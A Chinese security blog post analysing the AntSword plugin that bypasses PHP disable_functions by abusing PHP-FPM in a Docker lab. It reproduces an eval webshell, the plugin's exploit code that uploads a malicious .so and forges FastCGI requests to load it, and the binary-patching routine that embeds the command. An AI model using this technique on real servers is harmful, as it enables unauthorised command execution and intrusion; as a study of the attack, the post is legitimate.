Mi1k7ea

Good Good Study


从蚁剑插件看利用PHP-FPM绕过disable_functions

阅读量

0x01 环境准备与插件使用

这是蚁剑上的一个disable_functions项目:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/5

Docker部署非常方便,文档也说明了如何用蚁剑的插件来Bypass disable_functions。本次示例的插件适用于PHP-FPM/FCGI 监听在 unix socket 或者 tcp socket 上时使用。常见的比如:nginx + fpm。

题目直接就是个WebShell:

1
2
3
4
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>

查看phpinfo,看到服务器中PHP是用FPM/FastCGI的连接模式启动的:

其中open_basedir未设置,而disable_functions设置如下:

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv

可看到,命令执行函数、mail()、putenv()、dl()等经常用来绕过disable_functions的函数都被禁用掉了。

用蚁剑直接连接看看,Web根目录下有两个php,代码是一样的:

切到虚拟终端,命令执行不成功:

后面就添加插件再试试。先去插件市场下载安装绕过disable_functions插件,然后加载进来,选择PHP-FPM/FastCGI模式进行,FPM地址根据需要自行查找配置文件,然后点击开始即可:

操作成功后,会显示成功上传代理脚本和一个so文件,在Web根目录下会多了个.antproxy.php文件,我们添加副本改为该代理PHP文件即可成功Bypass disable_functions:

下面我们探究下这个插件的原理。

0x02 原理分析

简单地说,就是利用WebShell去连接本地的PHP-FPM端口搞事情,让其另起一个不以php.ini为配置的PHP程序,然后通过连接上传的代理文件直接绕过了原本的PHP程序,从而绕过disable_functions的限制。

.antproxy.php分析

看下.antproxy.php中的代码,向本地监听的63611端口的index.php发送请求:

1
2
3
4
5
<?php
set_time_limit(120);
$aAccess = curl_init();
curl_setopt($aAccess, CURLOPT_URL, "http://127.0.0.1:63611/index.php?".$_SERVER['QUERY_STRING']);
...

我们在目标服务器执行netstat看看是不是开启了63611端口的监听:

确实开启了,那这个端口到底属于哪个进程的呢?我们直接ps命令看看:

可以看到,启用的程序的命令为:

1
php -n -S 127.0.0.1:63611 -t /var/www/html

解释一下里面的几个参数:

  • -S 127.0.0.1:63611:新Web服务的监听地址;
  • -t /var/www/html/:新HTTP服务的Web根目录,可随便指,只要保证那个目录下面有个PHP WebShell就行,建议是直接指定成Shell当前目录;
  • -n:表示不使用php.ini,这个新的服务PHP用的是默认配置,是核心所在,从而根本不受php.ini中disable_functions的影响,当使用代理连接到该PHP服务时也就实现Bypass了;

插件源码分析

我们看下蚁剑绕过disable_functions的插件的主要代码,代码在:https://github.com/Medicean/as_bypass_php_disable_functions/blob/7d28318c5f0a795dc96bda95e37d04a05b5bf2a2/core/php_fpm/index.js

这里我们直接看exploit()函数,这里插件exp编写的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
// 执行EXP, 必须有这个函数
exploit() {
let self = this;
let fpm_host = '';
let fpm_port = -1;
let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
if (self.form.validate()) {
self.cell.progressOn();
let core = self.top.core;
let formvals = self.form.getValues();
let phpbinary = formvals['phpbinary'];
formvals['fpm_addr'] = formvals['fpm_addr'].toLowerCase();
if (formvals['fpm_addr'].startsWith('unix:')) {
fpm_host = formvals['fpm_addr'];
} else if (formvals['fpm_addr'].startsWith('/')) {
fpm_host = `unix://${formvals['fpm_addr']}`
} else {
fpm_host = formvals['fpm_addr'].split(':')[0] || '';
fpm_port = parseInt(formvals['fpm_addr'].split(':')[1]) || 0;
}
// 生成 ext
let wdir = "";
if (self.isOpenBasedir) {
for (var v in self.top.infodata.open_basedir) {
if (self.top.infodata.open_basedir[v] == 1) {
if (v == self.top.infodata.phpself) {
wdir = v;
} else {
wdir = v;
}
break;
}
};
} else {
wdir = self.top.infodata.temp_dir;
}
let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}`;
let fileBuffer = self.generateExt(cmd);
if (!fileBuffer) {
toastr.warning(PHP_FPM_LANG['msg']['genext_err'], LANG_T["warning"]);
self.cell.progressOff();
return
}

new Promise((res, rej) => {
var ext_path = `${wdir}/.${String(Math.random()).substr(2, 5)}${self.ext_name}`;
// 上传 ext
core.request(
core.filemanager.upload_file({
path: ext_path,
content: fileBuffer
})
).then((response) => {
var ret = response['text'];
if (ret === '1') {
toastr.success(`Upload extension ${ext_path} success.`, LANG_T['success']);
res(ext_path);
} else {
rej("upload extension fail");
}
}).catch((err) => {
rej(err)
});
}).then((p) => {
// 触发 payload, 会超时
var payload = `${FastCgiClient()};
$content="";
$client = new Client('${fpm_host}',${fpm_port});
$client->request(array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SERVER_SOFTWARE' => 'php/fcgiclient',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9984',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'mag-tured',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
'PHP_VALUE' => 'extension=${p}',
'PHP_ADMIN_VALUE' => 'extension=${p}',
'CONTENT_LENGTH' => strlen($content)
),
$content
);
sleep(1);
echo(1);
`;
core.request({
_: payload,
}).then((response) => {

}).catch((err) => {
// 超时也是正常
})
}).then(() => {
// 验证是否成功开启
var payload = `sleep(1);
$fp = @fsockopen("127.0.0.1", ${port}, $errno, $errstr, 1);
if(!$fp){
echo(0);
}else{
echo(1);
@fclose($fp);
};`
core.request({
_: payload,
}).then((response) => {
var ret = response['text'];
if (ret === '1') {
toastr.success(LANG['success'], LANG_T['success']);
self.uploadProxyScript("127.0.0.1", port);
self.cell.progressOff();
} else {
self.cell.progressOff();
throw ("exploit fail");
}
}).catch((err) => {
self.cell.progressOff();
toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
})
}).catch((err) => {
self.cell.progressOff();
toastr.error(`${LANG['error']}: ${JSON.stringify(err)}`, LANG_T['error']);
});
} else {
self.cell.progressOff();
toastr.warning(LANG['form_not_comp'], LANG_T["warning"]);
}
return;
}

其中generateExt()函数的定义在Base.js中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// 生成扩展
generateExt(cmd) {
let self = this;
let fileBuff = fs.readFileSync(self.ext_path);
let start = 0, end = 0;
switch (self.ext_name) {
case 'ant_x86.so':
start = 275;
end = 504;
break;
case 'ant_x64.so':
// 434-665
start = 434;
end = 665;
break;
case 'ant_x86.dll':
start = 1544;
end = 1683;
break;
case 'ant_x64.dll':
start = 1552;
end = 1691;
break;
default:
break;
}
if(cmd.length > (end - start)) {
return
}
fileBuff[end] = 0;
fileBuff.write(" ", start);
fileBuff.write(cmd, start);
return fileBuff;
}

简单说下过程:

  1. 随机生成一个端口号,作为后续新起的PHP服务的端口;
  2. 判断当前PHP-FPM为TCP模式或Unix Socket模式来据此获得FPM地址和端口,用于后面和服务器中FPM服务的访问;
  3. 以拼接组成的用于启动新PHP服务的命令的cmd变量为参数,调用generateExt()生成扩展,将cmd内容插入到指定范围内去;
  4. 将扩展命名为.xxxxxant_x64.so并上传;
  5. 上传成功后,构造并触发payload:先初始化FastCgi客户端,再构造连接服务端PHP-FPM服务的fastcgi协议包、指定PHP_VALUE和PHP_ADMIN_VALUE为上传的扩展文件,最后向目标服务端PHP-FPM服务发送该fastcgi协议请求包,目的是加载执行上传的ext文件、从而新起一个PHP进程;
  6. 最后尝试连接本地前面随机生成的端口号,确认payload是否触发成功,若OK则上传代理脚本;

.69773ant_x64.so分析

从前面的代码中的generateExt()函数知道,是直接对二进制数据操作,在start到end中填入cmd。

这里我们将该so文件下载下来,本想逆向看下给出的几个基础框架文件是怎么写的,但是因为so文件格式不对无法用ida直接看.69773ant_x64.so文件,所以这里是用ida打开的Windows版本的ant_x64.dll文件进行查看分析:

可以看到,构造很简单,只有一个函数用于调用执行system(),而start和end区域(ant_x64.dll为1552~1691)就是system()函数内参数的区域,直接往里写就能执行恶意命令,简单粗暴:

这里我们也用WinHex打开.69773ant_x64.so(434~665)文件查看对应区域的内容,确实填充的是新起PHP服务的命令:

0x03 小结

若目标站点是使用PHP-FPM的方式启动PHP服务的,且存在WebShell文件、开启了disable_functions限制了包括putenv()等函数及未设置open_basedir,则我们可以通过这种方式进行Bypass:

编写恶意的so/dll文件,其中调用system()函数执行类似于php -n -S 127.0.0.1:63611 -t /var/www/html的命令,用于以php命令新启动一个Web服务;通过WebShell上传该恶意so文件到目标服务器中如tmp目录中;通过PHP代码执行建立FastCgi客户端和目标服务器内部的PHP-FPM进行通信,伪造FastCgi协议包并设置PHP_VALUE和PHP_ADMIN_VALUE为上传的so文件从而可以加载执行该恶意so文件;最后通过WebShell上传代理新起Web服务的PHP文件即可。

一个小问题

既然我们上传的ext文件可以通过攻击PHP-FPM的方式来执行命令,为何还要新起一个PHP服务呢?

这个本人还没细究,但可以看下参考文章最后补充的回复。

0x04 参考

蚁剑disable_functions研究

用WebShell攻击PHP-FPM


Copyright © Mi1k7ea | 本站总访问量